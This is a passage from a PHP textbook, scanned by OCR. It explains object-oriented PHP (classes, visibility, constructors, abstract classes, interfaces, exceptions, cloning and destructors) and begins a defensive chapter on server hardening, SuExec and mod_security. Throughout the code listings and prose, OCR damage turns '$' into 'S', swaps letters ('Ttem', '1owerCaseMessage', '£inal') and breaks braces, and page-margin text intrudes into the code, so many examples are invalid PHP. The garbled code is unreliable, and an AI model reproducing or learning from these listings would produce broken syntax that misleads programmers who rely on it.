is called the master class or the parent class. redRose and whiteRose are
the subclasses, which are referred to as child classes (or the kids, as a favor-
ite professor fondly referred to them).

Child classes inherit all the properties and methods from the parent class.
But they can also have their own individual properties, such as Scolor =
white for the whiteRose class and Scolor = red for the redRose class.

A child class can contain a method with the same name as a method in a
parent class. In that case, the method in the child class takes precedence
for a child object. You can specify the method in the parent class for a child
object if you want, but if you don’t, the child class method is used.

Some languages allow a child class to inherit from more than one parent
class, called multiple inheritance. PHP doesn’t allow multiple inheritance.
A class can inherit from only one parent class.

Developing an Object-Oriented Script

Object-oriented scripts require a lot of planning. You need to plan your objects
and their properties and what they can do. Your objects need to cover all
their responsibilities without encroaching on the responsibilities of other
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objects. For complicated projects, you might have to do some model building
and testing before you can feel reasonably confident that your project plan
includes all the objects it needs.

Developing object-oriented scripts includes the following procedures, which
the next sections cover in more detail:

1. Choose the objects.
2. Choose the properties and methods for each object.

3. Create the object and put it to work.

Choosing objects

Your first task is to develop the list of objects needed for your programming
project. If you're working alone and your project is small, the objects might
be obvious. However, if you're working on a large, complex project, selecting
the list of objects can be more difficult. For example, if your project is devel-
oping the software that manages all the tasks in a bank, your list of possible
objects is large: account, teller, money, checkbook, wastebasket, guard,
vault, alarm system, customer, loan, interest, and so on. But, do you need
all those objects? What is your script going to do with the wastebasket in
the front lobby? Or the guard? Well, perhaps your script needs to schedule
shifts for the guards.

When you’re planning object-oriented programs, the best strategy for iden-
tifying your objects is to list all the objects you can think of — that is, all the
nouns that might have anything at all to do with your project. Sometimes
programmers can take all the nouns out of the project proposal documenta-
tion to develop a pretty comprehensive list of possible objects.

After you create a long list of possible objects, your next task is to cross off
as many as possible. You should eliminate any duplicates, objects that have
overlapping responsibilities, and objects that are unrelated to your project.
For example, if your project relates to building a car, your car project prob-
ably needs to have objects for every part in the car. On the other hand, if
your project involves traffic control in a parking garage, you probably need
only a car object that you can move around; the car’s parts don’t matter for
this project.

Selecting properties and methods for each object

When you have a comprehensive list of objects, you can begin to develop
the list of properties for each object. Ask yourself what you need to know
about each object. For example, for a car repair project, you probably need
to know things like when the car was last serviced, its repair history, any
accidents, details about the parts, and so on. For a project involving parking
garage traffic, you probably need to know only the car’s size. How much
room does the car take up in the parking garage?
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You need to define the responsibilities of each object, and each object needs
to be independent. It needs methods for actions that handle all of its respon-
sibilities. For example, if one of your objects is a bank account, you need to
know what a bank account needs to do. Well, first, it needs to be created,

so you can define an openNewAccount method. It needs to accept deposits
and disburse withdrawals. It needs to keep track of the balance. It needs to
report the balance when asked. It might need to add interest to the account
periodically. Such activities come to mind quickly.

However, a little more thought, or perhaps testing, can reveal activities that
you overlooked. For example, the account stores information about its owner,
such as name and address. Did you remember to include a method to update
that information when the customer moves? It might seem trivial compared to
moving the money around, but it won’t seem trivial if you can’t do it.

Creating and using an object

After you decide on the design of an object, you can create and then use the
object. The steps for creating and using an object are as follows:
1. Write the class statement.

The class statement is a PHP statement that is the blueprint for the
object. The class statement has a statement block that contains PHP
code for all the properties and methods that the object has.

2. Include the class in the script where you want to use the object.

You can write the class statement in the script itself. However, it’s
more common to save the class statement in a separate file and use an
include statement to include the class at the beginning of the script
that needs to use the object.

3. Create an object in the script.

You use a PHP statement to create an object based on the class. This is
called instantiation.

4. Use the new object.
After you create a new object, you can use it to perform actions. You can
use any method that is inside the class statement block.

The rest of this chapter provides the details needed to complete these steps.

Defining a Class

After you’'ve determined the objects, properties, and methods your project
requires, you're ready to define classes. The class is the template (pattern)
for the object.
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Writing a class statement

You write the class statement to define the properties and methods for the
class. The class statement has the following general format:

class className

{

Add statements that define the properties
Add all the methods
}

You can use any valid PHP identifier for the class name, except the name
stdClass. PHP uses the name stdClass internally, so you can’t use this
name.

All the property settings and method definitions are enclosed in the opening
and closing curly braces. If you want a class to be a subclass that inherits
properties and methods, use a statement similar to the following:

class whiteRose extends Rose

{
Add the property statements
Add the methods

}

The object created from this class has access to all the properties and meth-
ods of both the whiteRose child class and the Rose class. The Rose class,
however, doesn’t have access to properties or methods in the child class,
whiteRose. Imagine, the child owns everything the parent owns, but the
parent owns nothing of the child’s. What an idea.

The next few sections show you how to set properties and define methods
within the c1ass statement. For a more comprehensive example of a com-
plete class statement, see the section, “Putting it all together,” later in this
chapter.

Setting properties

When you’re defining a class, you declare all the properties at the top of the
class, as follows:

class Car

{
private S$color;
private Stires;
private S$gas;

Method statements
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PHP doesn’t require you to declare variables. In the other PHP scripts dis-
cussed in this book, variables aren’t declared; they’re just used. You can do
the same thing in a class. However, it’s much better to declare the proper-
ties in a class. By including declarations, classes are much easier to under-
stand. It’s poor programming practice to leave this out.

Each property declaration begins with a keyword that specifies how the
property can be accessed. The three keywords are

4+ public: The property can be accessed from outside the class, either by
the script or from another class.

4+ private: No access is granted from outside the class, either by the
script or from another class.

4+ protected: No access is granted from outside the class except from a
class that’s a child of the class with the protected property or method.

Classes should be written so that methods are used to access properties. By
declaring a property to be private, you make sure that the property can’t be
accessed directly from the script.

If you want to set default values for the properties, you can, but the values
allowed are restricted. You can declare a simple value, but not a computed
one, as detailed in the following examples:

4+ The following variable declarations are allowed as default values:
private $color = "black";

private $gas = 10;
private S$tires = 4;

4+ The following variable declarations are not allowed as default values:

private $color = "blue"." black";
private $gas = 10 - 3;
private S$tires = 2 * 2;

An array is allowed in the variable declaration, as long as the values are
simple, as follows:

private $doors = array("front", "back");

To set or change a variable’s value when you create an object, use the con-
structor (described in the “Writing the constructor” section, later in this
chapter) or a method you write for this purpose.

Accessing properties using $this

Inside a class, $this is a special variable that refers to the properties of the
same class. $this can’t be used outside of a class. It’s designed to be used
in statements inside a class to access variables inside the same class.
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The format for using $this is the following:
$this->varname

For example, in a CustomerOrder class that has a property $totalCost,
you would access $totalCost in the following way:

Sthis->totalCost

Using $this refers to $totalCost inside the class. You can use $this as
shown in any of the following statements:

Sthis->totalCost = 200.25;
if ($this->totalCost > 1000)
Sproduct [$this->size] = S$price

As you can see, you use $this->varname in all the same ways you would
use $varname.

Notice that a dollar sign ($) appears before this but not before gas. Don’t
use a dollar sign before totalCost — as in Sthis->$totalCost —
because it changes your statement’s meaning. You might or might not get an
error message, but it isn’t referring to the variable $totalCost inside the
current class.

Adding methods

Methods define what an object can do and are written in the class in the same
format you’d use to write a function. For example, your CustomerOrder
might need a method that adds an item onto the total cost of the order. You
can have a variable called total that contains the current total cost. You can
write a method that adds the price of an item to the total cost. You could add
such a method to your class, as follows:

class CustomerOrder

{
private S$total = 0;
function addItem($amount)

{
Sthis->total = $this->total + $amount;
echo "Samount was added; current total is S$this->total";

}

This looks just like any other function, but it’s a method because it’s inside
a class. You can find details about writing functions in Chapter 2 in this
minibook.
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Like functions, methods accept values passed to them. The values passed
need to be the correct data type to be used in the function. (See Chapter 1 in
this minibook for a discussion of data types.) For instance, in the preceding
example, Samount needs to be a number. Your method should include a
check to make sure that the value is a number. For instance, you might write
the method as follows:

class CustomerOrder
{
private S$total = 0.0;
function addItem($amount)
{
if (is_numeric (Samount)
{
Sthis->total = $this->total + Samount;
echo "$amount added; current total is S$this->total";

}

else
(
echo "value passed is not a number.";
}
}
}

If the value passed is an integer, a float, or a string that is a number, the
amount is added. If not, the error message is displayed. The sum in $total
is a float because it is assigned a number with a decimal point in it. When the
amount passed in is added to $sum, it is automatically converted to a float
by PHP.

When you write methods, PHP allows you to specify that the value passed
must be an array or a particular object. Specifying what to expect is called
type hinting. If the value passed is not the specified type, an error message
is displayed. You don’t need to add statements in the method to check for
array or object data types. For example, you can specify that an array is
passed to a function, as follows:

Class AddingMachine
{ private Stotal = 0;
addNumbers (array S$Snumbers)
{ for($i=0;$i<=sizeof (Snumbers) ; Si++)
{ Sthis->total = $this->total + $numbers[S$Si];
}
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If you attempt to pass a value to this method that is not an array, an error
message similar to the following is displayed.

Catchable fatal error: Argument 1 passed to
AddingMachine: :addNumbers () must be an array, integer
given, ...

This error states that an integer was passed, instead of the required array.
The error is fatal, so the script stops at this point. You can also specify that
the value passed must be a specific object, as follows:

class ShoppingCart

{
private Sitems = array();
private $n_items = 0;

function addItem( Item S$item )

{

Sitem;
Sthis->n_items + 1;

Sthis->items|]
Sthis->n_items

}

The shoppingCart class stores the items in the shopping cart as an array
of Item objects. The method addItem is defined to expect an object that
was created from the class Ttem. If a value is passed to the addItem method
that is not an Item object, an error message is displayed, and the script stops.

Methods can be declared public, private, or protected, just as properties
can. Public is the default access method if no keyword is specified.

PHP provides some special methods with names that begin with __ (two
underscores). PHP handles these methods differently internally. This chap-
ter discusses three of these methods: construct, destruct, and clone. Don’t
begin the names of any of your own methods with two underscores unless
you're taking advantage of a PHP special method.

Understanding public and private
properties and methods

Properties and methods can be public or private. Public means that methods
or properties inside the class can be accessed by the script that is using the
class or from another class. For example, the following class has a public
property and a public method:

class Car

{
public $Sgas = 0;
function addGas ($amount)

{
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Sthis->gas = S$Sthis->gas + Samount;
echo "S$Samount gallons added to gas tank";
}
}

The public property in this class can be accessed by a statement in the
script outside the class, as follows:

Smycar = new Car;
$gas_amount = Smycar->gas;

After these statements are run, $gas_amount contains the value stored in
$car inside the object. The property can also be modified from outside the
class, as follows:

Smycar->gas = 20;

Allowing script statements outside the class to directly access the proper-
ties of an object is poor programming practice. All interaction between the
object and the script or other classes should take place using methods. The
example class has a method to add gas to the car. All gas should be added to
the car by using the addGas method, which is also public, using statements
similar to the following:

$Snew_car = new Car;
Snew_car->addGas (5) ;

You can prevent access to properties by making them private, as follows:
private S$gas = 0;

With the property specified as private, a statement in the script that
attempts to access the property directly, as follows:

$myCar->gas = 20;
gets the following error message:

Fatal error: Cannot access private property car::$gas in c:\
testclass.php on line 17

Now, the only way gas can be added to the car is by using the addGas
method. Because the addGas method is part of the class statement, it can
access the private property.

In the same way, you can make methods private or protected. In this case,
you want the outside world to use the addGas method. However, you might



W

Defining a Class 40 9

want to be sure that people buy the gas that is added. You don’t want any
stolen gas in the car. You can write the following class:

class Car

{
private S$gas = 0;
private function addGas ($Samount)

{
Sthis->gas = S$Sthis->gas + Samount;
echo "S$Samount gallons added to gas tank";

}

function buyGas ($amount)

{
Sthis->addGas (Samount) ;

}
}

With this class, the only way gas can be added to the car from the outside is
with the buyGas method. The buyGas method uses the addGas method to
add gas to the car, but the addGas method can’t be used outside the class
because it’s private. If a statement outside the class attempts to use addGas,
as follows, a fatal error is displayed, as it was for the private property:

Snew_car = new Car;
$Snew_car->addGas (5) ;

However, a statement outside the class can now add gas to the car by using
the buyGas method, as follows:

$Snew_car = new Car;
$Snew_car->buyGas (5) ;

You see the following output:
5 gallons added to gas tank

It’s good programming practice to hide as much of your class as possible.
Make all properties private. You should make methods public only if they
absolutely need to be public.

Writing the constructor

The constructor is a special method, added with PHP 5, that is executed
when an object is created using the class as a pattern. A constructor isn’t
required, and you don’t need to use a constructor if you don’t want to set
any property values or perform any actions when the object is created. Only
one constructor is allowed.
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The constructor has a special name so that PHP knows to execute the
method when an object is created. Constructors are named __construct
(two underscores). A constructor method looks similar to the following:

function __ construct ()

{
Sthis->total = 0; # starts with a 0 total
}

This constructor defines the new CustomerOrder. When the order is cre-
ated, the total cost is 0.

Prior to PHP 5, constructors had the same name as the class. You might run
across classes written in this older style. PHP 5 and later scripts look first
for a method called __construct () to use as the constructor. If it doesn’t
find one, it looks for a method that has the same name as the class and uses
that method for the constructor. Thus, older classes still run under PHP 5
and 6.

Putting it all together

Your class can have as few or as many properties and methods as it needs.
The methods can be simple or complicated, but the goal of object-oriented
programming is to make the methods as simple as is reasonable. Rather than
cram everything into one method, it’s better to write several smaller methods
and have one method call another as needed.

The following is a simple class:

class MessageHandler
{
private Smessage;
function __ construct (Smessage)
{
Sthis->message = Smessage;
}
function displayMessage ()
{
echo $this->message."\n";
}
}

The class has one property — $message — that stores a message. The mes-
sage is stored in the constructor.

The class has one method — displayMessage. Echoing the stored message
is the only thing the messageHandler object can do.
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Suppose you want to add a method that changes the message to lowercase
and then automatically displays the message. The best way to write that
expanded class is as follows:

class MessageHandler
{
private S$message;
function __ construct (Smessage)
{
Sthis->message = Smessage;
}

function displayMessage ()
{
echo Sthis->message."\n";
}
function lowerCaseMessage ()

{
Sthis->message = strtolower ($Sthis->message) ;
Sthis->displayMessage() ;

}

Note the 1owerCaseMessage () method. Because the class already has a
method to display the message, this new 1lowerCaseMessage () method
uses the existing displayMessage () method rather than repeating the
echo statement.

Any time you write a method and find yourself writing code that you've
already written in a different method in the same class, you need to redesign
the methods. In general, you shouldn’t have any duplicate code in the same
class.

The example in Listing 4-1 is a complicated class that can be used to create

an HTML form. To simplify the example, the form contains only text input
fields.

Listing 4-1: A Script That Contains a Class for a Form Object

<?php
/* Class name: Form
* Description: A class that creates a simple HTML form
* containing only text input fields. The
* class has 3 methods.
*/
class Form
{
private $fields = array(); # contains field names and
labels
private SactionValue; # name of script to process form
private $submit = "Submit Form"; # value on submit button
(continued)
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Listing 4-1 (continued)

private $Nfields = 0; # number of fields added to the form

/* Constructor: User passes in the name of the script where
* form data is to be sent (SactionValue) and the value to
* display on the submit button.

*/
function __construct (Sactionvalue, $submit)
{
Sthis->actionValue = S$SactionValue;
Sthis->submit = S$submit;

}

/* Display form function. Displays the form.
*x/
function displayForm()
{
echo "\n<form action='{$this->actionvValue}'
method="'POST'>\n";
for($j=1;$j<=sizeof (Sthis->fields);S$Sj++)
{
echo "<p style='clear: left; margin: 0; padding: 0;
padding-top: 5px'>\n";
echo "<label style='float: left; width: 20%'>
{Sthis->fields[$j-1]1['label']}: </label>\n";
echo "<input style='width: 200px' type='text'
name="'{S$this->fields[$j-1]['name']}'></p>\n";
}
echo "<input type='submit' value='{S$Sthis->submit}"
style='margin-left: 25%; margin-top: 10px'>\n";
echo "</form>";

}

/* Function that adds a field to the form. The user needs to
* send the name of the field and a label to be displayed.

*x/
function addField($name, $label)
{
Sthis->fields[$this->Nfields] [ 'name'] = Sname;
Sthis->fields[$this->Nfields] ['label'] = $label;

Sthis->Nfields = S$this->Nfields + 1;
}
}

?>

This class contains four properties and three methods. The properties are
as follows:

4+ $fields: An array that holds the fields as they are added by the user.
The fields in the form are displayed from this array.
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4 $actionvValue: The name of the script that the form is sent to. This
variable is used in the action attribute when the form tag is displayed.

4+ $submit: The text that the user wants displayed on the Submit button.
This variable’s value, Submit Form by default, is used when the
Submit button is displayed.

4 $Nfields: The number of fields that have been added to the form so far.
The methods in this class are as follows:

4 __ construct: The constructor, which sets the values of Sactionvalue
and $submit from information passed in by the user.

4 addField: Adds the name and label for the field to the $fields array.
If the user added fields for first name and last name to the form, the
array might look as follows:

Sfields[1l] [name]=first_name
Sfields[1] [label]=First Name
$fields[2] [name]=last_name
Sfields[2] [label]l=Last Name
and so on

4+ displayForm: Displays the form. It echoes the HTML needed for the
form and uses the values from the stored variables for the name of the
field and the label that the user sees by the field.

The next section describes how to use a class, including the Form class
shown in Listing 4-1.

Using a Class in a Script

The class code needs to be in the script that uses the class. Most commonly,
the class is stored in a separate include file and is included in any script that

uses the class.
Book IV

To use an object, you first create the object from the class. Then that object Chapter 4

can perform any methods that the class includes. Creating an object is called
instantiating the object. Just as you can use a pattern to create many similar
but individual dresses, you can use a class to create many similar but indi-
vidual objects. To create an object, use statements that have the following
format:

Buiwweifoig
pajuauQ-a8lqQ

Sobjectname = new classname(value,value,...);
Some valid statements that create objects are

$Joe = new Person("male");
Scar_Joe = new Car("red");



4 74 Using a Class in a Script

Scar_Sam = new Car ("green") ;
Scustomerl = new Customer ("Smith","Joe", ScustID);

The object is stored in the variable name, and the constructor method is
executed. You can then use any method in the class with statements of the
following format:

SJoe->goToWork () ;
Scar_Joe->park("illegal") ;
Scar_Sam->paintCar ("blue") ;
Sname = Scustomerl->getName () ;

Different objects created from the same class are independent individu-
als. Sam’s car gets painted blue, but Joe’s car is still red. Joe gets a parking
ticket, but it doesn’t affect Sam.

The script shown in Listing 4-2 shows how to use the Form class that was
created in the preceding section and shown in Listing 4-1.

Listing 4-2: A Script That Creates a Form

<?php
/* Script name: buildForm
* Description: Uses the form to create a simple HTML form
*/
require_once ("Form.class") ;
echo "<html><head><title>Phone form</title></head><body>";
Sphone_form = new Form("process.php", "Submit Phone") ;
Sphone_form->addField("first_name", "First Name") ;
Sphone_form->addField("last_name", "Last Name") ;
Sphone_form->addField("phone", "Phone") ;
echo "<h3>Please fill out the following form:</h3>";
Sphone_form->displayForm() ;
echo "</body></html>";
?>

First, the script includes the file containing the Form class in the script. The
class is stored in the file Form.class. The script creates a new form object
called $phone_ form. Three fields are added with the addField method.
The form is displayed with the displayForm method. Notice that some
additional HTML code is output in this script. That HTML could have been
added to the displayForm method just as easily.

The script creates a form with three fields, using the Form class. Figure 4-1
shows the resulting web page.
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(& Build form class - Mozilla Firefox ==
File Edit View Go Bookmarks Tools Help

-2 - & 31 [0 hitp:Mocalnost/PHPandhtySQLbuidForm php v ® o [IGL

Please fill out the following form:

Furst Name:
Last MName:
Phone

Submit Phone

Figure 4-1:
The form
displayed by
the scriptin
Listing 4-2.

Done

Using Abstract Methods in Abstract
Classes and Interfaces

You can use abstract methods that specify the information to be passed,

but do not contain any code, and we tell you how to do that in the following

sections. Abstract methods were added in PHP 5. You can use abstract methods

in abstract classes or in interfaces. An abstract class contains both abstract

methods and nonabstract methods. An interface contains only abstract Book IV
methods. Chapter 4

Using an abstract class

Any class that has an abstract method must be declared an abstract class.
The function of an abstract class is to serve as a parent for a child class. You
cannot create an object from an abstract class.
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An abstract class specifies the methods for a child class. The child class
must implement the abstract methods that are defined in the parent class,
although each child class can implement the abstract method differently,
with different code. If an abstract method specified in the parent class is not
included in a child class, a fatal error occurs.
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An abstract method specifies the values to pass, called the signature. The
child implementation of the abstract method must use the same signature.
The child must define the method with the same or weaker visibility. For
example, if the abstract method is declared protected, the child implementa-
tion of the method must be declared protected or public.

The following code shows the use of an abstract class. An abstract class
named Message is defined. Then two child classes are defined.

abstract class Message
{

protected message_content;

function __construct (Stext)
{
Sthis->message_content = S$text;

}

abstract public function displayMessage(S$Scolor) ;

}

class GiantMessage extends Message
{
public function displayMessage ($color)
{
echo "<hl style='color: $color'>
This->message_content</hl>";

}

class BigMessage extends Message
{
public function displayMessage ($color)
{
echo "<h2 style='color: $color'>
This->message_content</h2>";

}

The abstract class message includes an abstract method named
displayMessage. This abstract method is implemented in the two child
classes — GiantMessage and BigMessage. In GiantMessage, the mes-
sage content is displayed with an <h1> tag in the color passed to the
method. In BigMessage, the message is displaying with an <h2> tag in the
color passed. Thus, both child classes implement the abstract method, but
they implement it differently.

If a child class doesn’t implement the abstract class, an informative error
message is displayed, stating exactly how many abstract classes are not
implemented and their names. The error is fatal, so the script stops at that
point.
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You can implement an interface at the same time you extend a class, including
an abstract class. Using interfaces is described in the next section.

Using interfaces

An interface contains only abstract methods. The function of an interface
is to enforce a pattern on a class by specifying the methods that must be
implemented in the class. You cannot create an object from an interface.

An interface can’t have the same name as a class used in your script. All
methods specified in an interface must be public. Don’t use the keyword
abstract for methods in an interface. When a class implements an interface,
all the methods in the interface must be implemented in the class. If a
method is not implemented, a fatal error occurs.

You implement an interface in a class with the following format:

class classname implements interfacename

You can implement more than one interface in a class, as follows:

class classname implements interfacenamel, interfacenameZ2, ...

Multiple interfaces implemented by a single class may not contain methods
with the same name.

The following example shows the use of both inheritance and an interface:

interface Moveable

{
function moveForward ($distance) ;

}

class Car

{
protected $gas = 0;

function __construct ($amt)
{
Sthis->gas = $amt;
echo "<p>At creation, Car contains $this->gas
gallons of gas</p>";

}
class Sedan extends Car implements Moveable
{

private $mileage = 18;

public function moveForward($Sdistance)

{
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Sthis->gas = $this->gas -
round ( (Sdistance/$Sthis->mileage),2) ;
echo "<p>After moving forward $distance miles,
Sedan contains $this->gas gallons of gas.</p>";

}

The class Sedan is a child of the class Car, which is not an abstract class,
and also implements the interface Moveable. You can use the preceding
code with the following statements:

Smy_car = new Sedan(20);
Smy_ car->moveForward (50) ;

The following displays in the browser window:

At creation, Car contains 20 gallons of gas
After moving forward 50 miles, Sedan contains 17.22 gallons
of gas

The first statement displays when the object $my_car is created. Because
the sedan class doesn’t have a constructor, the constructor in the Car class
runs and produces the first line of output. The second statement displays
when the moveForward method is used.

Preventing Changes to a Class or Method

You might want a class to be used exactly as you have written it. You can
prevent the creation of a child class that changes the implementation of
methods with the final keyword, as follows:

final class classname

When a class is defined as £inal, a child class can’t be created. You can
also define a method as final, as follows:

final public moveForward/()

If a child class includes a method with the same name as a £inal method in
the parent class, an error message is displayed, similar to the following:

Fatal error: Cannot override final method Car::moveForward /()

In this case, the parent class Car includes a method moveForward that is
defined as £inal. The child class Sedan extends Car. However, the Sedan
class defines a method moveForward, a method with the same name as a
final method in the parent Car class. This isn’t allowed.
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Handling Errors with Exceptions

PHP provides an error-handling class called Exception. You can use this
class to handle undesirable things that happen in your script. When the
undesirable thing that you define happens, code in your method creates an
exception object. In object-oriented talk, this is called throwing an exception.
Then, when you use the class, you check whether an exception is thrown
and perform specified actions.

You can throw an exception in a method with the following statement:
throw new Exception("message") ;

This statement creates an Exception object and stores a message in the
object. The Exception object has a getMessage method that you can use
to retrieve the message you stored.

In your class definition, you include code in your methods to create an
Exception when certain conditions occur. For example, the addGas
method in the following Car class checks whether the amount of gas
exceeds the amount that the car gas tank can hold, as follows:

class Car

{

private Sgas = 0;

function addGas ($amount)
{
Sthis->gas = $this->gas + S$Samount;
echo "<p>$amount gallons of gas were added</p>";
if ($this->gas > 50)
{
throw new Exception("Gas is overflowing");

}

} Book IV

Chapter 4
If the amount of gas in the gas tank is more than 50 gallons, the method
throws an exception. The gas tank doesn’t hold that much gas.

When you use the class, you test for an exception, as follows:
$my_car = new Car();

try
{
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Smy_car->addGas (10) ;
Smy_car->addGas (45) ;
}
catch(Exception $e)

{
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echo Se->getMessage () ;
exit () ;

}
The preceding script contains a try block and a catch block:

4+ try:In the try block, you include any statements that you think might
trigger an exception. In this script, adding too much gas can trigger an
exception, so you add any addGas method calls inside a try block.

4 catch: In the catch block, you catch the Exception object and call
it Se. Then you execute the statements in the catch block. One of the
statements is a call to a method called getMessage in the Exception
class. The getMessage function returns the message that you stored,
and your statement echoes the returned message. The statements then
echo the end-of-line characters so the message is displayed correctly.
The script stops on the exit statement.

If no exception is thrown, the catch block has nothing to catch, and it
is ignored. The script proceeds to the statements after the catch block.
In this case, if the amount of gas doesn’t exceed 50 gallons, the catch
block is ignored, and the script proceeds to the statements after the
catch block.

If you run the preceding script, the following is displayed by the browser:

10 gallons of gas were added
45 gallons of gas were added
Gas is overflowing

The second addGas method call raised the amount of gas over 50 gallons, so
an exception was thrown. The catch block displayed the overflow message
and stopped the script.

Copying Objects

PHP provides a method you can use to copy an object. The method is ___
clone, with two underscores. You can write your own __clone method in
a class if you want to specify statements to run when the object is copied. If
you don’t write your own, PHP uses its default __clone method that copies
all the properties as is. As shown by the two underscores beginning its
name, the clone method is a different type of method, and thus is called dif-
ferently, as shown in the following example.

You could write the following class:
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class Car
{
private $gas = 0;
private Scolor = "red";
function addGas ($amount)
{
Sthis->gas = Sthis->gas + S$Samount;
echo "Samount gallons added to gas tank";

}

function __clone()
{
$this->gas = 5;
}
}

Using this class, you can create an object and copy it, as follows:

SfirstCar = new Car;
S$firstCar->addGas (10) ;
$secondCar = clone S$firstCar;

After these statements, you have two cars:

4+ $firstcar: This car is red and contains ten gallons of gas. The ten
gallons were added with the addGas method.

4 $secondcCar: This car is red, but contains five gallons of gas. The
duplicate car is created using the __clone method in the Car class.
This method sets gas to 5 and doesn’t set Scolor at all.

If you didn’t have a __clone method in the Car class, PHP would use a
default __clone method that would copy all the properties, making
$secondCar both red and containing ten gallons of gas.

Comparing Objects

At their simplest, objects are data types. You can compare objects with the
equal operator, which is two equal signs (==), or with the identical operator,
which is three equal signs (===). Using the equal operator, two objects are
equal if they are created from the same class and have the same properties
and values. However, using the identical operator, two objects are identical
only if they refer to the same instance of the same class.

Book IV
Chapter 4
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The following two objects are equal, but not identical, because they are two
instances of the class Car:

Smy_car = new Car();
Smy_car2 = new Car();
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Thus, the following statement would echo equal:

If(Smy_car == Smy_car2)
{

echo "equal";

}
But, the following statement would not echo equal:

If(Smy_car === Smy_car2)
{
echo "equal";

}

The following two objects are equal, but not identical, because clone cre-
ates a new instance of the object Car:

Smy_car = new Car();
Smy_car2 = clone S$my_car;

The following two objects are both equal and identical:

Smy_car = new Car();
Smy_car2 = Smy_car;

Getting Information about Objects and Classes

PHP provides several functions that you can use to get information about
objects and classes:

4+ You can check whether a class exists with the following:
class_exists("classname") ;

4+ You can test whether a property exists in a specific class with the
following:

property exists ("classname", "propertyname") ;

4+ You can find out the properties, with their defaults, and the methods
defined in a class with the following statements:

get_class_vars("classname") ;
get_class_methods ("classname") ;

The get_class_ functions return an array. The properties array con-
tains the property name as the key and the default as the value. The
methods array contains numeric keys and the names of the methods as
values. If a property or method is private, the function will not return its
name unless it is executed from inside the class.
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4 You can test whether an object, its parents, or their implemented
interfaces were created by a specified class using the instanceof
operator, added in PHP 5, as follows:

if (Sobjectname instanceof "classname")

4 You can find out the current values of the properties of an object with
the following function:

get_object_vars (Sobjectname) ;

The function returns an array containing the current values of the
properties, with the property names as keys.

Destroying Objects

You can destroy an object with the following statement:
unset (SobjName) ;

For example, you can create and destroy an object of the Car class with the
following statements:

SmyCar = new Car;
unset ($SmyCar) ;

After $SmyCar is unset, the object no longer exists at all.

PHP provides a method that is automatically run when an object is
destroyed. You add this method to your class and call it __destruct (with
two underscores). For example, the following class contains a __destruct
method:

class Bridge
{
function __destruct()

{ Book IV

echo "The bridge is destroyed"; Chapter 4

}
}

If you use the following statements, the object is created and destroyed:

SbigBridge = new Bridge;
unset ($SbigBridge) ;
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The output from these statements is

The bridge is destroyed
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The output is echoed by the ___destruct method when the object is unset.

The __destruct method isn’t required. It’s just available for you to use
if you want to execute some statements when the object is destroyed. For
example, you might want to close some files or copy some information to
your database.



Chapter 5: Considering
PHP Security

In This Chapter

v Securing the Server and the Apache web server

v+~ Configuring PHP securely
+~ Handling errors safely

v~ Sanitizing variables

A s a web developer, you need to ensure that your web application is
secure. If you're also performing administration duties on the server,
then you need to secure the server as well. Securing the application means
making sure any and all inputs from users are sanitized, or checked, against
values that you know are good and not allowing any input into the program
unless you've programmatically checked it. Securing the server means
attempting to keep the web application in its own virtual sandbozx, so that if
the server is compromised the damage is limited.

This chapter discusses security for web applications. You look both at
server security and application security.

Securing the Server

3

The server itself should be secured. This usually means hardening the
server and ensuring that the server uses a firewall.

Hardening the server

Typically this means hardening the operating system by uninstalling unnec-
essary services. For example, there’s typically no reason to run a print server
on the same server that runs the public website.

Disabling and uninstalling unnecessary services reduces the footprint of the
server, which means that there are fewer things for an attacker to exploit.

Tools like SELinux and grSecurity also enhance the security of a server and
reduce the ability of successful attackers from compromising more than
their own little sandboxes.
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Using a firewall

Whether you use a firewall on the server itself or use a firewall at the point
where the Internet meets your network, or both, you should make sure that
there’s a firewall blocking connections to all ports except those specifically
allowed, such as TCP ports 80 and 443 for a typical web server.

A better scenario is to run the firewall both at the ingress point (the point
where the Internet meets your network) and on the server itself. Doing so
means that the web server will be protected even if an attacker finds another
way into the network.

All major operating systems include built-in firewall tools and they’re both
easy to set up and easy to maintain.

Securing Apache

Securing the Apache web server is a pretty broad topic, so rather than try to
fit everything into one section, we focus on two ways to make Apache more
secure when it’s running PHP applications: using SuExec and mod_security.
If you're using a third-party hosting provider, then you won’t be able to
install SuExec or mod_security but rather will rely on the hosting provider
for (and let them worry about) server security.

Securing PHP applications with SuExec

If your application runs on Apache (as more than half the websites on the
Internet do), you may want to consider enabling SuExec in your Apache con-
figuration. SuExec is a mechanism that is bundled with Apache that causes
scripts to be run as the user that owns the script, rather than running them
as the web server user.

In a non-SuExec environment, all scripts are run as the same user ID as the
web server itself. Unfortunately, one vulnerable script can give a malicious
user back-door access to the entire web server, including scripts running on
other sites hosted on the same server.

SuExec attempts to mitigate this problem by restricting web applications to
their own areas and running them under their owners’ user IDs, rather than
under the web server’s user ID. For example, this script would run under the
user ID of jsmith:

/home/~jsmith/public_html/scripts/please_hack_me.php
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A malicious user could exploit this script, but he or she would have access
only to files and programs that the jsmith user is allowed to use. Every
other user on the server would be protected from jsmith’s insecure script.

Unfortunately, getting SuExec to work properly with virtual hosts, or multiple
independent websites physically located on the same web server, can be
tricky. SuExec is designed to run scripts that exist in the web server’s docu-
ment root. Most virtual hosts are set up in a way that gives each individual
website its own document root, and each site’s document root isn’t located
under the web server’s document root. To get around this restriction, the
system administrator must add each virtual host’s document root to the
web server’s document root variable in the Apache configuration file.

SuExec also requires that PHP scripts be run as Common Gateway Interface
(CGID), which is slower than running PHP as a precompiled module under
Apache. CGI was the first workable model for web applications, and it is still
used for simple scripts. However, once you leave the realm of PHP scripting
and start writing full-fledged applications, you'll need the performance boost
of precompiled PHP.

For fairly simple web servers, SuExec can keep one insecure application from
trampling all over everything else. However, in a more complex environment
with virtual servers, precompiled modules, and dozens or hundreds of users,
you need a security model that is a bit more robust. mod_security (which we
cover in the next section) is a giant leap forward in web server security, espe-
cially for servers that run virtual servers and precompiled PHP.

mod_security

mod_security is an open-source module that no Apache server should run
without. It’s a robust filtering engine that watches incoming requests (both
GET and POST) and weeds out the ones that are likely to cause problems for
the server and its applications. If your server is running SuExec, mod_secu-
rity is a great first line of defense — and you can never have too many lines
of defense when it comes to web server security!

mod_security works by intercepting all traffic bound for your web server. It
compares the traffic to a set of rules to determine whether to stop each indi-
vidual packet or allow it to proceed to the web server. Think of it as having
your own personal bouncer standing at the door to your server.

Out of the box, mod_security comes with a set of core rules designed to pro-
tect servers from most generic attacks. You can add your own rules as you
need them to respond to specific attacks on your applications.

Unfortunately, Apache doesn’t come with mod_security, so you have to get it
yourself. Luckily, it’s open source and available from www.modsecurity.org.

